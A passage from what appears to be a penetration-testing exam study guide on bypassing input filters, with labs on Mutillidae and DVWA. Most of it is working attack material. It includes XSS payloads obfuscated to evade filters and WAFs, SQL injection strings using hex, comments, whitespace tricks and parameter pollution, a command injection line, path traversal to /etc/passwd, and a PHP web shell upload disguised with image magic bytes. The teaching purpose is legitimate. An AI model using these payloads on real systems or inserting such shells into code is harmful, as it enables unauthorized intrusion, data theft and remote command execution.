FormSyntax<aValid in
Hex literal0x…0x3c0x61MySQL, MSSQL (binary/varbinary), JS numeric
JS/JSON unicode escape\uHHHH\u003c\u0061JS strings, JSON values, Java, C#
JS/JSON unicode escape\uHHHH<aJS strings, JSON values, Java, C#
JS ES6 code point\u{HH}\u{3c}\u{61}Modern JS strings only
JS octal (legacy, non-strict)\NNN\74\141Non-strict-mode JS strings
CSS escape\HH + space\3c \61 CSS values/identifiers
HTML dec / hex entity&#D; / &#xH;&#60; &#x3c;&#97; &#x61;HTML parser only
URL percent%HH%3C%61URLs, form bodies
Shell octal\NNN with echo -e/printf\074\141bash, sh
PowerShell`u{HH} / [char]0x3c[char]0x3c[char]0x61PowerShell
// Identical payloads, three escape families - use whichever the filter does not recognise
eval("\x61\x6c\x65\x72\x74\x28\x31\x29")            // hex escapes
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")  // unicode escapes
eval("\141\154\145\162\164\50\61\51")               // legacy octal escapes
// JS identifiers themselves accept \u escapes - the keyword "alert" never appears literally
\u0061lert(1)
// JSON body: \u escapes survive JSON parsing and defeat WAF body signatures
{"q":"\u003cimg src=x onerror=alert(1)\u003e"}
/* CSS escape of javascript: for legacy expression()/url() sinks. Trailing space terminates the escape. */
background:url("\6a\61\76\61\73\63\72\69\70\74\3a alert(1)")

6.5.2 String construction without literals (JavaScript)

// String.fromCharCode - the classic. No quotes, no literal keyword.
String.fromCharCode(97,108,101,114,116,40,49,41)                 // "alert(1)"
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Base64 wrapper: the literal keyword never appears in the request
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))                   // alert(document.domain)
// Template literals: backticks replace () for a tagged call, and ${} interpolates
alert`1`                                   // tagged template literal: alert receives the array
setTimeout`alert\u00281\u0029`   // setTimeout string-coerces its argument, then evaluates it
// Bracket notation with built strings - "eval" and "alert" never appear as tokens
window['ev'+'al']('al'+'ert(1)')
self['al'+'ert'](1)
top["al"+"ert"](document.domain)
// JSFuck-style: only []()!+ - enormous but passes alphanumeric-blocking filters.
// Generate with jsfuck.com; do NOT hand-write it. Canonical prefix looks like:
[][(![]+[])[+[]]+...   // full alert(1) is ~1,700 chars
// Constructor chain - build Function() without using the word "Function"
[]["constructor"]["constructor"]("alert(1)")()

6.5.3 DBMS-side decoding functions

Use these when quotes, specific strings, commas or spaces are filtered in SQL injection. Every one of them lets you produce a string literal without writing it as a literal.

GoalMySQLPostgreSQLMSSQLOracleSQLite
Char from codeCHAR(65)CHR(65)CHAR(65)CHR(65)CHAR(65)
Build a string from codesCHAR(97,100,109,105,110)CHR(97)||CHR(100)||…CHAR(97)+CHAR(100)+…CHR(97)||CHR(100)||…CHAR(97,100,…)
ConcatenateCONCAT(a,b) or a b (adjacent literals)a||b or CONCAT(a,b)a+b or CONCAT(a,b)a||b or CONCAT(a,b)a||b
Concatenate with separatorCONCAT_WS(0x3a,a,b,c)CONCAT_WS(':',a,b)CONCAT_WS(':',a,b) (2017+)——
Hex literal → string0x61646d696e'\x61646d696e'::bytea0x61646D696E (varbinary)—X'61646D696E'
Unhex a hex stringUNHEX('61646d696e')decode('61646d696e','hex')CONVERT(varchar, 0x61646D696E)UTL_RAW.CAST_TO_VARCHAR2('61646D696E')—
String → hexHEX('admin')encode('admin','hex')CONVERT(varbinary,'admin')RAWTOHEX('admin')HEX('admin')
Base64 decodeFROM_BASE64('YWRtaW4=')decode('YWRtaW4=','base64')xml value(…xs:base64Binary…)UTL_ENCODE.BASE64_DECODE—
-- MySQL: quotes filtered? Use a bare hex literal - it IS the string 'admin', no quotes needed
' OR username=0x61646d696e -- -
-- MySQL: same thing via CHAR() when 0x is blacklisted
' OR username=CHAR(97,100,109,105,110) -- -
-- MySQL: UNHEX is a third spelling of the same idea
' UNION SELECT UNHEX(HEX(table_name)),2 FROM information_schema.tables -- -
-- Oracle / PostgreSQL: CHR() chained with || - no quotes anywhere
' OR username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)--
-- MSSQL: + concatenation of CHAR()
' OR username=CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)--
-- MySQL: CONCAT_WS merges columns with a delimiter in one call - useful when CONCAT is blocked
' UNION SELECT CONCAT_WS(0x3a,user,password),2 FROM users -- -
-- MySQL: adjacent string literals concatenate implicitly - splits a blacklisted keyword
SELECT 'ad' 'min';       -- returns 'admin'
# Generate the hex literal for any string, fast
echo -n 'admin' | xxd -p          # 61646d696e  -> use as 0x61646d696e
python3 -c "print(','.join(str(ord(c)) for c in 'admin'))"   # 97,100,109,105,110 -> CHAR(...)

Exam tips — 6.5

  • Try first (SQLi with filtered quotes): 0x… hex literal → CHAR()/CHR() → UNHEX(HEX()). One of the three almost always lands.
  • Try first (XSS with filtered quotes): backtick template literal alert`1` → String.fromCharCode → eval(atob(...)) → bracket notation window['al'+'ert'].
  • Confirm it worked (SQLi): the injected string must change the result set or the error text. Compare against a known-true and known-false baseline; never judge from a single response.
  • Fingerprint the DBMS before picking a decode function — CHR() on MySQL and CHAR() on Oracle both fail and waste attempts.
  • JSFuck is a last resort: it is huge, slow, and often exceeds request-size limits. Reach for it only when alphanumerics themselves are blocked.

6.6 Input Filtering Fundamentals

6.6.1 Definitions the exam expects you to separate

Filtering in web application security = inspecting and controlling data in and out of an application to prevent vulnerabilities. It is standard practice to combine input filtering with output encoding — neither alone is sufficient.

TermWhat it doesFailure modeExample
Data validationChecks the data conforms to an expected format/constraint. Usually a UX feature, not a security control.Trivially bypassed; only checks shapeRegex that an email contains @ and a TLD; maxlength; numeric-only field
Input validationGoes further — assesses input for security threats and rejects itBlacklist gaps; encoding-aware input slips throughReject any value matching union\s+select
Input sanitizationCleans, escapes or neutralises dangerous characters, then accepts the modified valueNaive stripping → reconstruction; single-pass replacestr_replace('<script>','',$in), htmlspecialchars()
Output encodingEncodes at the point of rendering, per contextWrong context encoder chosenhtmlspecialchars() on HTML body output
EscapingNeutralises characters for a specific downstream parserRight escaper, wrong parsermysqli_real_escape_string() for SQL; \ for shell

Key distinction: validation rejects, sanitization modifies. Sanitization is far more common — and far more bypassable, because "modify" implies a transformation you can predict and pre-compensate for.

6.6.2 Blacklist vs whitelist

Blacklist (deny-list)Whitelist (allow-list)
LogicBlock known-badAllow only known-good, reject everything else
CompletenessImpossible — the bad set is unboundedAchievable — the good set is finite
Failure directionFails open (unknown bad passes)Fails closed (unknown good is rejected)
MaintenanceConstant; new bypasses appear foreverLow
Typical shapepreg_replace('/<script>/i','',$in), WAF signatures, PHPIDSif (!preg_match('/^[0-9]{1,6}$/',$id)) die();, enum/int cast
Tester's angleFind what it forgot — case, encoding, alternative tags/functions, whitespace, commentsFind where it is not applied — a second parameter, a header, a different endpoint, a legacy route

Almost every filter you will defeat on the exam is a blacklist. The workflow is always the same: (1) determine what exactly is being matched, (2) produce semantically identical input that does not match.

6.6.3 Client-side vs server-side filtering

Client-sideServer-side
Implemented inJavaScript, HTML attributes (maxlength, pattern, required, type, disabled, readonly), browser featuresPHP/Python/Java/.NET/Node code, framework middleware, WAF
RunsIn your browser, on your machineOn the server, out of your control
Visible to attackerFully — view source, read the regex, read the whole filterNo — black box unless source disclosure
Bypassable byDisabling JS, DOM edit, intercepting proxy, crafting the request directly (curl/Burp)Only by crafting input the filter's logic misses
Security valueZero. It is a UX/latency optimisationThe only real control
Course conclusion"Client-side input filtering is no longer used alone; if used, it is combined with server-side filtering"Where XSS/SQLi filters actually live today

Why client-side filters are useless, stated precisely: the filter code is a resource the server sends to you. You possess it, you control the runtime it executes in, and — decisively — nothing forces your HTTP client to execute it at all. curl never runs JavaScript. The filter is a suggestion to a cooperating browser, not a control on the request.

6.6.4 Where you'll meet which

Vulnerability classLikely filter locationReasoning (from the course)
SQL injectionAlmost always server-sideCredentials/IDs are just strings on the client; there is nothing sensible to validate client-side. Filtering happens where the query is built.
XSS (reflected/stored)~50/50, usually bothInput may be checked in JS and sanitized/encoded on output server-side
Command injectionServer-side (occasionally a client-side regex on "dangerous chars")Mutillidae's lab blocks & and ; client-side only
File uploadBoth — JS extension check + server-side MIME/extension/content checkJS check is always bypassable; server check may not be
Business logic (price, quantity, role)Client-side only, far too oftenHidden fields, disabled selects, JS-computed totals

6.6.5 Adjacent controls (not input filters, but they block payloads)

ControlWhat it doesHow it bites you
Content Security Policy (CSP)Restricts which origins may supply scripts/styles/framesYour <script> injects fine but never executes. Check the Content-Security-Policy header first when a confirmed injection does not fire. Look for unsafe-inline, unsafe-eval, wildcards, or a JSONP endpoint on an allowed origin.
Anti-CSRF tokensPer-request token validationBreaks Intruder/sqlmap runs. Use Burp macros / sqlmap --csrf-token/--csrf-url
Security headersX-Content-Type-Options, X-Frame-Options, X-XSS-ProtectionX-XSS-Protection: 0 (as in DVWA) explicitly disables browser auditing — a hint the lab wants XSS to work
Rate limitingCaps requests per IP/user/timeThrottle Intruder, rotate source IP (6.11)
WAF rulesSignature/score-based blocking before the appSection 6.10–6.11
IDS (e.g. PHPIDS 0.6)Filters user-supplied input against a blacklist of malicious patterns, logs/blocksDVWA ships it as a live example of "how a WAF helps and how a WAF is circumvented". Enable it to practise scoring-based evasion.

6.6.6 Regex filtering — reading the enemy's code

Regex is the implementation behind most filters, client- or server-side. When you can see it (client-side, source disclosure, or a lab's "View Source" button), paste it into regex101.com, set the correct flavour (PCRE for PHP, ECMAScript for JS), enable the global flag if the original had /g, and paste candidate payloads into the test string. The highlighted matches tell you exactly what to avoid.

Common regex weaknesses worth checking for:

WeaknessLooks likeBypass
Missing i flag/<script>/<ScRiPt>, <SCRIPT>
Missing g flag / single-pass replacestr_replace('script','',$in)Nested: <scrscriptipt> → after one removal → <script>
Anchored to the whole string/^<script>$/Put anything before or after
Matches literal tag only/<script.*?>/iUse a different tag: <img>, <svg>, <body>
Only matches < immediately followed by a letter/<[a-z]/i< script (space), <\x00script, <%0ascript
. does not match newline (no s/DOTALL flag)/<.*script.*>/iEmbed a real newline %0a inside the tag
No handling of encoded inputanyPercent/entity/unicode-encode and let a later stage decode
Character class instead of sequence/[<>'"]/Use a payload with none of them — e.g. an existing-attribute injection, or entity forms
Uses \s for whitespace/union\s+select/iunion/**/select, union%0bselect, union%a0select
# Mutillidae's client-side filter (security level 1) blocks the characters in a class -
# so the bypass is a payload that uses NONE of them, or simply not running the JS at all.

Exam tips — 6.6

  • Decide client vs server in one request. Replay the exact same request with curl or Burp Repeater. If it now succeeds, the filter was client-side. If it still fails, it is server-side (or a WAF).
  • Whenever the app offers source (DVWA "View Source", .php.bak, .git, a JS bundle), read it before fuzzing. Ten seconds of reading saves a hundred requests.
  • A filter that silently removes characters is sanitization → try doubling/nesting. A filter that rejects the request is validation → try encoding/alternatives.
  • maxlength, pattern, required, disabled, readonly, <select> options and type="number" are never security controls. Note them as findings and bypass them (6.7).
  • When output looks encoded on screen, check the raw HTML. A payload can be correctly encoded in the body yet raw inside an attribute, a script block or a JSON island on the same page.

6.7 Bypassing Client-Side Filters

Lab reference: OWASP Mutillidae II → OWASP 2017 → A7 Cross Site Scripting → Reflected (First Order) → DNS Lookup. The page takes a hostname/IP, runs a DNS lookup, and reflects the input. Toggle Security switches between security level 0 (no filter) and level 1 (client-side JavaScript regex filter + maxlength).

6.7.1 Find the filter

# Right-click -> View Page Source, scroll to the HTML comment "BEGIN HTML OUTPUT"
# The JS filter, the regex patterns and the alert messages are all in plain sight.

At level 0 the patterns are empty — nothing is filtered, and even ; command injection works:

# Mutillidae DNS lookup at security level 0 - ; terminates the lookup, the rest is a new command
127.0.0.1; id
<!-- Same field, reflected XSS at level 0 -->
<script>alert(1)</script>

At level 1 the page defines a regex for OS command injection (blocking & and ;) and another character class for XSS, plus maxlength="20" on the input. Both live entirely in the browser.

6.7.2 The six client-side bypasses, fastest first

#TechniqueHowWhen to use
1Send the request directlyBurp Repeater / curl — never load the page's JS at allAlways try this first; it is one request
2Intercept after the JS runsEnter benign input → JS validates and allows it → intercept in Burp → swap the value for the real payload → forwardThe filter has already "passed"; server sees the payload
3Edit the DOMDevTools → Inspect → change maxlength, delete pattern, remove disabled/readonly, add <option> valuesLength/format restrictions
4Disable JavaScriptBrowser setting, about:config → javascript.enabled=false (Firefox), or an extension such as "Disable JavaScript"Whole-filter removal; note the page may then not submit at all if submission is JS-driven
5Delete/override the validatorDevTools Console: reassign the function to a no-op, or remove the onsubmit handlerFilter is a named function; keeps the rest of the page working
6Rewrite the formDevTools: change action, method, add hidden inputsTesting parameters the UI does not expose

6.7.3 Technique 1 & 2 — the proxy bypass (canonical)

1. Burp: Proxy -> Intercept ON.
2. Browser: type a harmless value (e.g. "payload") so the client-side regex passes.
3. Submit. The request is caught in Burp AFTER the JS has already validated it.
4. Replace the parameter value with the real payload. Forward.
   -> The server never knew a filter existed.
POST /mutillidae/index.php?page=dns-lookup.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded

target_host=<script>alert(1)</script>&dns-lookup-php-submit-button=Lookup+DNS
# Same thing without a browser at all - curl never executes the filter
curl -s 'http://TARGET/mutillidae/index.php?page=dns-lookup.php' \
  --data-urlencode 'target_host=<script>alert(1)</script>' \
  --data 'dns-lookup-php-submit-button=Lookup DNS' | grep -i script

6.7.4 Technique 3 — removing HTML-attribute restrictions

AttributePurposeRemoval
maxlength="20"Caps typed lengthDevTools → edit to 1000, or delete the attribute
pattern="[A-Za-z]+"HTML5 client-side regexDelete the attribute
requiredForces a valueDelete the attribute
disabledField not submitted at allDelete → the field now submits
readonlyField not editable but is submittedDelete → now editable
type="number" / type="email"Browser format validationChange to type="text"
<select> fixed optionsLimits choicesAdd an <option value="admin">, or just send the value directly
<input type="hidden">Not shown to the userChange type to text, or edit the value in Burp
novalidate (on <form>)—Add it to the form to disable all HTML5 validation at once
// DevTools Console one-liners - run these instead of hand-editing nodes
document.querySelectorAll('[maxlength]').forEach(e=>e.removeAttribute('maxlength'));
document.querySelectorAll('[pattern]').forEach(e=>e.removeAttribute('pattern'));
document.querySelectorAll('[disabled],[readonly]').forEach(e=>{e.disabled=false;e.readOnly=false});
document.querySelectorAll('form').forEach(f=>f.setAttribute('novalidate',''));
// Neutralise the validator itself without touching the DOM (name it from View Source)
validateInput = function(){ return true; };
window.onbeforeunload = null;
document.forms[0].onsubmit = null;
// Submit the form programmatically with an arbitrary value, skipping every handler
document.getElementById('target_host').value = '<img src=x onerror=alert(1)>';
document.forms[0].submit();          // .submit() does NOT fire onsubmit handlers

That last line is worth memorising: form.submit() deliberately does not trigger onsubmit, so a validator wired to onsubmit is skipped entirely, with JavaScript still enabled.

6.7.5 Technique 4 — disabling JavaScript

Firefox:  about:config -> javascript.enabled = false
          or: Settings -> extension "Disable JavaScript" (toggles per-tab)
Chrome:   Settings -> Privacy and security -> Site settings -> JavaScript -> Don't allow
          or: DevTools -> Ctrl+Shift+P -> "Disable JavaScript" (per-session, easiest)
Burp:     the request never hits a JS engine at all - preferred method

Caveat from the lab: if the form's submission is also JS-driven, disabling JS stops the form working. The working recipe used in the course is: keep JS enabled, edit maxlength, type the payload, then disable JS (or intercept), then submit — so validation is skipped while submission still functions. When in doubt, use Burp instead; it sidesteps the ordering problem completely.

6.7.6 Bypassing client-side file-upload extension checks

A JS uploader that checks file.name.split('.').pop() against an allow-list is the same class of nothing.

BypassPayloadNotes
Intercept and renameUpload shell.jpg, change filename="shell.jpg" → filename="shell.php" in BurpThe check already passed in the browser
Remove the handlerdocument.getElementById('f').onchange=nullThen submit normally
Change accept<input accept="image/*"> → delete the attributeOnly a file-picker hint anyway
Double extensionshell.php.jpg / shell.jpg.phpAlso beats weak server-side checks (Apache AddHandler misconfig)
Case variationshell.PhP, shell.pHP5Beats case-sensitive server-side lists too
Alternate executable extensions.php3 .php4 .php5 .php7 .phtml .phar .pht .inc / .asp .aspx .ashx .asmx .cer .asa / .jsp .jspx .jspfWhen the primary extension is blocked
Null byteshell.php%00.jpgLegacy PHP (<5.3.4) and some Java paths; try once
Trailing charactersshell.php. , shell.php%20, shell.php::$DATAWindows/IIS strips trailing dot/space; ::$DATA is an NTFS ADS
Content-Type spoofContent-Type: image/jpeg on a .php partBeats MIME-only checks
Magic bytes prefixGIF89a;<?php system($_GET['c']);?>Beats getimagesize() / content sniffing
.htaccess uploadUpload a file named .htaccess containing AddType application/x-httpd-php .jpgMakes an allowed extension executable (Apache, AllowOverride on)
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----B

------B
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

GIF89a;
<?php system($_GET['c']); ?>
------B--
# Confirm: request the uploaded path with a command
http://TARGET/uploads/shell.php?c=id

Exam tips — 6.7

  • Try first: replay the request in Burp Repeater. If it works, the filter was client-side and you are done — do not spend time on DevTools.
  • Tell the difference: client-side filters produce an instant JS alert/inline error with no network request (confirm in Burp's Proxy history or DevTools Network tab — an empty history is the proof). Server-side filters always cost a round trip.
  • Confirm the bypass: the payload must be present in the server's response, not just in your DOM. A DOM edit that never leaves the browser proves nothing.
  • Read the client-side regex and feed it to regex101 — it frequently tells you what the server filter looks like too, because developers copy-paste the pattern to both sides.
  • Note every client-side-only control you bypass as its own finding; on a report it is "insufficient server-side validation", not "XSS".

6.8 Bypassing Server-Side Filters

Lab reference: DVWA (admin / password) → DVWA Security → Low / Medium / High → XSS (Reflected). Each level adds a real server-side filter and DVWA's View Source button shows it, so you can work white box and black box on the same target.

6.8.1 The three DVWA levels — what each filter actually is

LevelServer-side codeFilter typeWeaknessWorking bypass
Lowecho '<pre>Hello ' . $_GET['name'] . '</pre>';None (X-XSS-Protection: 0 set)—<script>alert(1)</script>
Medium$name = str_replace('<script>', '', $_GET['name']);Sanitization, literal, case-sensitive, single passRemoves one exact lowercase string only<SCRIPT>alert(1)</SCRIPT> (case) · <scr<script>ipt>alert(1)</script> (nesting) · <img src=x onerror=alert(1)> (different tag) · <svg onload=alert(1)>
High$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);Sanitization, regex, case-insensitive, tolerates characters between every letterOnly ever targets the letters of script after a <Any tag that is not script: <svg onload=alert(1)> · <body onload=alert(1)> · <img src=x onerror=alert(1)> · <iframe src=javascript:alert(1)>
Impossiblehtmlspecialchars() + tokenContext-correct output encoding—None (by design)

Two transferable lessons: a str_replace filter is beaten by case or nesting; a preg_replace filter is beaten by choosing a different construct entirely, because the regex encodes the developer's assumption that XSS means <script>.

<!-- DVWA medium: str_replace is case-SENSITIVE, so uppercase sails past -->
<SCRIPT>alert(1)</SCRIPT>
<!-- DVWA medium: single-pass removal reconstructs the tag after the strip -->
<scr<script>ipt>alert(1)</scr<script>ipt>
<!-- DVWA medium AND high: the filter only knows the word "script" -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>

6.8.2 The black-box workflow — Burp Intruder + SecLists

This is the course's core methodology and the fastest path on the exam when you cannot see the source.

# Install the wordlists (Kali)
sudo apt install seclists
ls /usr/share/seclists/Fuzzing/XSS/                # XSS payload lists
ls /usr/share/seclists/Fuzzing/SQLi/               # SQLi payload lists
# The course's go-to list:
/usr/share/seclists/Fuzzing/XSS/XSS-BruteLogic.txt
# Also useful:
/usr/share/seclists/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
/usr/share/seclists/Fuzzing/special-chars.txt
Burp Intruder procedure:
 1. Send the vulnerable request to Intruder (Ctrl+I).
 2. Attack type: Sniper (one payload set, one position).
 3. Clear all positions (Clear §), highlight ONLY the vulnerable parameter value, Add §.
 4. Payloads tab -> Payload type: Simple list -> Load -> the SecLists file.
 5. Payloads tab -> Payload Encoding: leave "URL-encode these characters" ENABLED.
 6. Settings tab -> Redirections: "Always" follow redirects.  <-- forgetting this is the #1 cause of false negatives
 7. Start attack. Sort results by **Length**, not status code.

Reading the results: status code is nearly useless (the app returns 200 for both success and failure). Response length is the signal. Group the results by length: payloads that were stripped cluster at one length; payloads that were reflected intact produce a length that scales with the payload size; a payload that changes the page structure (a rendered <iframe>, a broken layout) produces an outlier. Use Render on candidates — note Burp's renderer does not execute alert() popups, so judge from the rendered DOM/layout change, then confirm in a real browser.

SignalMeaning
All responses the same lengthInput not reflected at all — wrong parameter
Length = base + len(payload)Payload reflected verbatim → likely bypass, check encoding in raw response
Length = base + len(payload) − len("script")Keyword stripped → sanitization confirmed, pick a different tag
Length much larger / much smaller than the clusterStructural change in the page → strong candidate
403 / 406 / 501 / reset on specific payloadsWAF, not an app filter → go to 6.10
Uniform 302 to an error pageRedirect not followed → fix Intruder settings

6.8.3 Payload-processing rules (the Chamilo lesson, applied early)

When the injection point requires a prefix or suffix to break out of surrounding syntax, a raw payload list will produce zero hits. Add the fixed part as a processing rule so every payload in the list inherits it:

Intruder -> Payloads -> Payload Processing -> Add -> Add prefix:  ' 
Intruder -> Payloads -> Payload Processing -> Add -> Add suffix:  //
(keep URL payload encoding ON so the quote and space are encoded)

Common prefixes/suffixes to try as rules:

ContextPrefixSuffix
Single-quoted HTML attribute' + space(none) or //
Double-quoted HTML attribute" + space(none)
Unquoted HTML attributespace(none)
Inside a <script> string (single quotes)';//
Inside a <script> string (double quotes)";//
Inside an HTML comment--><!--
Inside <textarea>/<title></textarea> / </title>(none)
SQL string literal'-- - or #
SQL numeric context(none)-- -

6.8.4 Generic server-side filter bypass catalogue

Case variation
-- Defeats any case-sensitive keyword match (str_replace, ==, strpos)
' UnIoN SeLeCt 1,2,3 -- -
<!-- Same idea for tags and handlers; HTML tag/attribute names are case-insensitive -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
Keyword doubling / nesting (beats single-pass strip)
-- str_replace('select','') removes the inner word, the outer letters rejoin
SELSELECTECT  ->  SELECT
UNIunionON SELselectECT
' UNIunionON SELselectECT 1,2,3 -- -
<!-- Same mechanic for tags -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x oneonerrorrror=alert(1)>
<<script>script>alert(1)</script>
# General rule: if X is removed once, send A + X + B where A+B == X
# removed "../"  ->  "....//"  ->  "../"
....//....//....//etc/passwd
..././..././..././etc/passwd
Inline comments
-- MySQL: /**/ is whitespace to the parser, invisible to a "union select" signature
' UNION/**/SELECT/**/1,2,3 -- -
' /*!UNION*/ /*!SELECT*/ 1,2,3 -- -
-- MySQL versioned comment: executes ONLY on MySQL >= 5.00.00, ignored as a comment elsewhere.
-- Extremely effective against signature WAFs that treat /*...*/ as inert.
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -- -
' /*!50000SELECT*/ * FROM /*!50000users*/ -- -
-- Comment stuffing inside the keyword itself
' UN/**/ION SE/**/LECT 1,2,3 -- -
' U/*x*/N/*x*/I/*x*/O/*x*/N SELECT 1,2,3 -- -
-- Comment terminators by DBMS
-- MySQL:      -- - (needs the trailing space/char)   #    /*...*/   /*!...*/
-- PostgreSQL: --    /*...*/
-- MSSQL:      --    /*...*/   ;--
-- Oracle:     --    /*...*/
-- SQLite:     --    /*...*/
<!-- HTML comment trick inside a tag (legacy parsers) -->
<img/src="x"/onerror=alert(1)>
Whitespace alternatives

Everything a filter matching \s or a literal space will miss:

ByteCharMySQLPostgreSQLMSSQLOracleNotes
%09TAB✅✅✅✅Safest first choice
%0ALF✅✅✅✅Also breaks single-line regexes without s flag
%0BVT✅❌✅❌MySQL/MSSQL
%0CFF✅✅✅❌
%0DCR✅✅✅✅
%A0NBSP (Latin-1)✅❌✅❌Only when the connection charset treats it as space — try it, it often works
%20space✅✅✅✅The one that is filtered
/**/comment✅✅✅✅Universal
+plus✅✅✅✅Only in query string/urlencoded body
()parentheses✅✅✅✅Structural — removes the need for whitespace entirely
-- Tab-separated: no literal space in the request
'%09UNION%09SELECT%091,2,3%09--%09-
-- Newline-separated: also defeats a non-DOTALL regex
'%0AUNION%0ASELECT%0A1,2,3%0A--%0A-
-- Comment-as-whitespace: the universal version
'/**/UNION/**/SELECT/**/1,2,3/**/--/**/-
-- Parentheses remove whitespace altogether around SELECT and its arguments
'UNION(SELECT(1),(2),(3))-- -
'UNION(SELECT(username),(password)FROM(users))-- -
'AND(SELECT(1)FROM(users)WHERE(username)LIKE(0x61646d696e))-- -
-- MySQL: a comment right after a function name is allowed; a SPACE is not
SELECT/**/COUNT(*)FROM/**/users
SELECT COUNT/**/(*) FROM users      -- valid; "COUNT (*)" with a space is NOT
<!-- HTML: slashes, newlines, tabs and form feeds all work as attribute separators -->
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0asrc=x%0aonerror=alert(1)>
<svg%0conload=alert(1)>
String concatenation & literal avoidance
-- MySQL: split a blacklisted literal; adjacent strings concatenate implicitly
SELECT 'ad' 'min';
SELECT CONCAT('ad','min');
SELECT 0x61646d696e;                 -- hex literal, no quotes at all
SELECT CHAR(97,100,109,105,110);
SELECT UNHEX('61646d696e');
-- MSSQL
SELECT 'ad'+'min';
SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110);
-- Oracle / PostgreSQL
SELECT 'ad'||'min' FROM dual;
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) FROM dual;
// JS equivalents
window['al'+'ert'](1)
eval('al'+'ert(1)')
this[`al${''}ert`](1)
Alternate functions & operators
BlockedAlternativeNotes
=LIKE, RLIKE, REGEXP, <=>, IN(...), BETWEEN x AND xLIKE is case-insensitive and supports %/_ wildcards
OR|| (MySQL/MSSQL logical OR), || is concat in Oracle/PostgreSQL/SQLite — use OR or UNION thereKnow your DBMS before substituting
AND&&, %26%26MySQL/MSSQL
NOT!
OR 1=1OR 1, OR true, OR 'a'='a', OR 1 LIKE 1, ||1Also OR 2>1, OR 'x' IN ('x')
UNION SELECTUNION ALL SELECT, UNION/**/SELECT, /*!UNION*/ /*!SELECT*/, error-based or blind extraction instead
SUBSTRING()MID(), SUBSTR(), LEFT()/RIGHT(), LPAD()MySQL accepts all
SUBSTRING(s,1,1) with commas blockedSUBSTRING(s FROM 1 FOR 1), MID(s FROM 1 FOR 1)ANSI syntax, no commas
LIMIT 1,1 with commas blockedLIMIT 1 OFFSET 1
ASCII()ORD(), HEX(), CONV()
SLEEP()BENCHMARK(5000000,MD5(1)), WAITFOR DELAY '0:0:5' (MSSQL), pg_sleep(5) (PG), dbms_pipe.receive_message('a',5) (Oracle)
information_schemaMySQL 5.7+: mysql.innodb_table_stats, sys.x$schema_table_statistics; MySQL 8: /*!80000 information_schema*/
@@versionVERSION(), SELECT banner FROM v$version (Oracle)
CONCAT()CONCAT_WS(), GROUP_CONCAT(), ||, +
, (comma) entirelyUNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)cComma-less UNION
' (quote)0x… hex literal, CHAR(), CHR()
SPACEsee whitespace table above
-- LIKE instead of = when the equals sign is filtered
' OR username LIKE 0x61646d696e -- -
' OR 1 LIKE 1 -- -
-- Comma-less UNION with three columns
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c -- -
-- Comma-less substring extraction (blind SQLi with commas blocked)
' AND MID(password FROM 1 FOR 1)=0x61 -- -
-- Logical operator substitution (MySQL/MSSQL)
' || 1=1 -- -
' && 1=1 -- -
'%7c%7c1%3d1--%20-
Null byte
# %00 can truncate a string at the C level while the app's own check sees the full value.
# Classic targets: PHP < 5.3.4 filesystem functions, some Java/Perl/C bindings, regex engines.
/download?file=../../../../etc/passwd%00.jpg
/upload -> filename="shell.php%00.jpg"
?page=admin%00
-- Null byte inside a SQL payload can terminate a downstream filter's C-string copy
' OR 1=1%00 -- -
Wildcard and regex quirks
QuirkPayloadEffect
SQL LIKE wildcards' OR username LIKE 'adm%' -- -% = any string, _ = any single char
LIKE for char-by-char blind extraction' OR password LIKE 'a%' -- -No SUBSTRING needed
REGEXP / RLIKE' OR password REGEXP '^a' -- -Works when LIKE is blocked
_ as a single-char wildcard' OR username LIKE 'admi_' -- -Defeats exact-length checks
Shell glob/bin/c?t /etc/passwd, /???/c?t /???/p?ssw?Command injection where letters are filtered
Regex without anchorsfilter /admin/ blocks admin anywhereRename to Admin, admin (trailing space), %61dmin
Regex without i/select/SeLeCt
Regex without s (DOTALL)/<script.*>/Insert %0a — . stops at the newline
Regex without m/^admin$/Multiline input: x%0aadmin matches with m, not without — test both directions
ReDoS-prone regex(a+)+$Catastrophic backtracking → DoS/timeout; note as a finding, do not weaponise on an exam target
preg_replace single passsee 6.8.4 nesting
HTTP Parameter Pollution (HPP)

Send the same parameter more than once. Which value the app sees depends on the stack — and a WAF that inspects only the first occurrence while the app reads the last (or vice versa) is bypassed outright.

Stack?p=1&p=2 yields
ASP.NET / IIS1,2 (comma-concatenated)
ASP (classic) / IIS1,2
PHP / Apache2 (last wins)
PHP / Zeus2
JSP, Servlet / Tomcat1 (first wins)
Perl CGI / Apache1 (first)
Python flask/django (.get())1 (first; getlist() returns both)
Node.js / Expressarray ['1','2']
Ruby on Rails2 (last)
Golang net/http (r.FormValue)1 (first)
# WAF inspects the first value, PHP uses the last
/search?q=harmless&q=' UNION SELECT 1,2,3 -- -
# ASP.NET concatenation: split a keyword across duplicates, rejoined with a comma
/search?q=UNION/*&q=*/SELECT 1,2,3
# Mix locations: query string vs body vs cookie - the app may prefer one the WAF does not read
POST /search?q=benign  with body  q=<payload>
HTTP Parameter Fragmentation (HPF)

Split one payload across several different parameters that the app concatenates into a single query. Each fragment is individually harmless, so no signature matches.

# Application builds:  SELECT ... WHERE a='$a' AND b='$b' AND c='$c'
